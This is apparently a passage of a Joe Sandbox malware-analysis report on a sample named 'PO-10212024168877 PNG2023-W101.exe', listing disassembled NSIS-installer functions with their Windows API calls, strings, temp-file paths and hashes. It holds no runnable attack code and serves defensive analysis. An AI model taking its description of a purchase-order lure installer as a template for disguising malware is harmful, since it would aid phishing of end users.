Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: 03c35b03fdde5f33accd48f8e357bf0732577442a8f103693b6bf1e6191b16fb
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: 71216271904705ABCB219F68ED48B4BBFF8AF01715B04892AF996A22E0D734EA04CB55

Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 1000234A

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234

GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
GlobalFree.KERNEL32(00000000), ref: 100022FB

Memory Dump Source

Source File: 00000000.00000002.2632503904.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2632485014.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632520015.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632534659.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61

Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalFree.KERNEL32(?), ref: 100024B5
GlobalFree.KERNEL32(00000000), ref: 100024EF

Memory Dump Source

Source File: 00000000.00000002.2632503904.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2632485014.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632520015.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632534659.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
Opcode Fuzzy Hash: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62

Function 004047F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040480B
GetMessagePos.USER32 ref: 00404813
ScreenToClient.USER32(?,?), ref: 0040482D
SendMessageA.USER32(?,00001111,00000000,?), ref: 0040483F
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404865

Strings

f, xrefs: 00404841

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: d51aeaa30401db709ca0a87e6a09b4ddb89123452d3ebce91a639796f0b83af5
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: 54019275D00218BADB00DBA4CC41BFEBBBCAF85711F10412BBB10B71C0C7B465018BA5

Function 00402B7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B9A
MulDiv.KERNEL32(000DEEFB,00000064,000E0340), ref: 00402BC5
wsprintfA.USER32 ref: 00402BD5
SetWindowTextA.USER32(?,?), ref: 00402BE5
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BF7

Strings

verifying installer: %d%%, xrefs: 00402BCF

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3ae07b054ad9b81f5b6108b272be1fee9de0c5ac9c6f7af5c303f160919c41b2
Instruction ID: 06d6233bfb864841df38fb05631849b064d35824abf3621066cb5e46443ac4cc
Opcode Fuzzy Hash: 3ae07b054ad9b81f5b6108b272be1fee9de0c5ac9c6f7af5c303f160919c41b2
Instruction Fuzzy Hash: EE014F70540209FBEF209F60DD4AEAE3B69AB04304F00803AFA16B92D0D7B8A951DB59

Function 00401D38 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D3B
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D48
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D57
ReleaseDC.USER32(?,00000000), ref: 00401D68
CreateFontIndirectA.GDI32(0040A7F0), ref: 00401DB3

Strings

Tahoma, xrefs: 00401D99

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 7cd5ed8a4b4f09cdd512241ed4d77026764b80ee4c75be1284d7c37bf19adfef
Instruction ID: cf9238c777b6589bee1a324002302adcb4b1f2371c80511fc572ea77625e262b
Opcode Fuzzy Hash: 7cd5ed8a4b4f09cdd512241ed4d77026764b80ee4c75be1284d7c37bf19adfef
Instruction Fuzzy Hash: 96016232948740AFE7416B70AE1AFAA3FB4A755305F108479F201B72E2C67811569B3F

Function 004026C6 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00008A00,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040271A
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 00402736
GlobalFree.KERNEL32(?), ref: 0040276F
GlobalFree.KERNEL32(00000000), ref: 00402782
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040279A
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004027AE

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: c372e968d9e395b418133328b66b822104ab768b7d8a0d8c505769ff06cebaf7
Instruction ID: f67dc9fade15bd1aaf4953b10d7ffc98cf8df4ed40540c93fb8cebdcb82cf2c3
Opcode Fuzzy Hash: c372e968d9e395b418133328b66b822104ab768b7d8a0d8c505769ff06cebaf7
Instruction Fuzzy Hash: 71217A71800128BBCF216FA5DE49EAEBB79EF09324F10022AF914762E1C7795D018B99

Function 004046E6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0079E540,0079E540,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404601,000000DF,00000000,00000400,?), ref: 00404784
wsprintfA.USER32 ref: 0040478C
SetDlgItemTextA.USER32(?,0079E540), ref: 0040479F

Strings

%u.%u%s%s, xrefs: 0040476E
@y, xrefs: 00404776

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@y
API String ID: 3540041739-3020698753
Opcode ID: ca56fcb4ff96a92767a948c37e1cdc386e941f7d7930a18b2193be96cb950031
Instruction ID: 4638cabbc4a31f91baf710fec8468dae319bf79d1b1f68d9e24bb075fcb279e4
Opcode Fuzzy Hash: ca56fcb4ff96a92767a948c37e1cdc386e941f7d7930a18b2193be96cb950031
Instruction Fuzzy Hash: D911E7736041283BEB00656D9D45EEF328CDB86374F254237FA25F31D1EA78CC1146A8

Function 1000180D Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001869
GlobalFree.KERNEL32(?), ref: 100019EF
GlobalFree.KERNEL32(?), ref: 100019F4

Memory Dump Source

Source File: 00000000.00000002.2632503904.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2632485014.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632520015.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632534659.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
Instruction ID: adaf369aa6dab84e94bee76403d526b7d43184adb12fe210256c1aedb67fe499
Opcode Fuzzy Hash: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
Instruction Fuzzy Hash: 43512536D04159AEFB55DFB488A4AEEBBF6EF453C0F124169E841B315DCA306E4087D2

Function 00402A7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A9B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AD7
RegCloseKey.ADVAPI32(?), ref: 00402AE0
RegCloseKey.ADVAPI32(?), ref: 00402B05
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B23

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: b56f379d4c7718a716cd2f0f4935c5eaa8b38fc1cc2d991abe85072f08e57da9
Instruction ID: 557db050c0314b8bb5c0b22d2db4fc3530b60cfc711b7b252a141f8c1691c263
Opcode Fuzzy Hash: b56f379d4c7718a716cd2f0f4935c5eaa8b38fc1cc2d991abe85072f08e57da9
Instruction Fuzzy Hash: 82114272900109FFEF229F50DE89DAE3B7DEB54344B104436F901B10A0D7B59E51DB69

Function 00401CDE Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CE2
GetClientRect.USER32(00000000,?), ref: 00401CEF
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 0583b6918c16dec0e269df833e9dc84b1bd36602652c7031110f346e7b3842d0
Instruction ID: 92ae7547fb934e5b20a31b6555936ed9a04085bedc3b988c85494c1bea2cd4ea
Opcode Fuzzy Hash: 0583b6918c16dec0e269df833e9dc84b1bd36602652c7031110f346e7b3842d0
Instruction Fuzzy Hash: CCF0E7B2A04114AFEB01ABE4DE88DAFB7BDFB54305B10446AF602F6191C7789D018B79

Function 00403951 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,Regangen Setup), ref: 004039E9

Strings

1033, xrefs: 00403955, 0040395F, 004039D0
Regangen Setup, xrefs: 004039D8
"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe", xrefs: 00403952

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"$1033$Regangen Setup
API String ID: 530164218-1124990733
Opcode ID: 85ceab019c87a04c69db0eea1a6fbc710d8651cdce0cfd73114f661218e3a08a
Instruction ID: a7121fc51e20562cbfa027eee4ba04e2135699cbca2cdd3690fce58e300c9c30
Opcode Fuzzy Hash: 85ceab019c87a04c69db0eea1a6fbc710d8651cdce0cfd73114f661218e3a08a
Instruction Fuzzy Hash: 8311D1B5B056108BE720DF15DC80A73776CEBC6755B28813FE841A73E1D73D9D028A98

Function 0040586C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405D0C: lstrcpynA.KERNEL32(?,?,00000400,0040319A,Regangen Setup,NSIS Error), ref: 00405D19

Part of subcall function 00405817: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,?,00405883,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,75573410,?,C:\Users\user\AppData\Local\Temp\,004055CE,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405825
Part of subcall function 00405817: CharNextA.USER32(00000000), ref: 0040582A
Part of subcall function 00405817: CharNextA.USER32(00000000), ref: 0040583E

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsq8002.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,75573410,?,C:\Users\user\AppData\Local\Temp\,004055CE,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058BF
GetFileAttributesA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,75573410,?,C:\Users\user\AppData\Local\Temp\,004055CE,?,75573410,C:\Users\user\AppData\Local\Temp\), ref: 004058CF

Strings

C:\Users\user\AppData\Local\Temp\nsq8002.tmp, xrefs: 00405872, 00405877, 0040587D, 004058B8, 004058BE, 004058C6, 004058CE
C:\Users\user\AppData\Local\Temp\, xrefs: 0040586C

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsq8002.tmp
API String ID: 3248276644-2648826227
Opcode ID: 2b232cbcfe35a2a259e0e65083c3ab1013c8774cdbeba63489dc7f6696da3121
Instruction ID: 819bf3b96d2f33be72422b420245a44e5a303c51be7f34a106cb995fc7f4ae7e
Opcode Fuzzy Hash: 2b232cbcfe35a2a259e0e65083c3ab1013c8774cdbeba63489dc7f6696da3121
Instruction Fuzzy Hash: B7F0CD27115D5119E61632361C05ABF1A58CE82364718C53FFC51F22D1EA3C8862DD7E

Function 0040577E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030D9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032DC), ref: 00405784
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030D9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032DC), ref: 0040578D
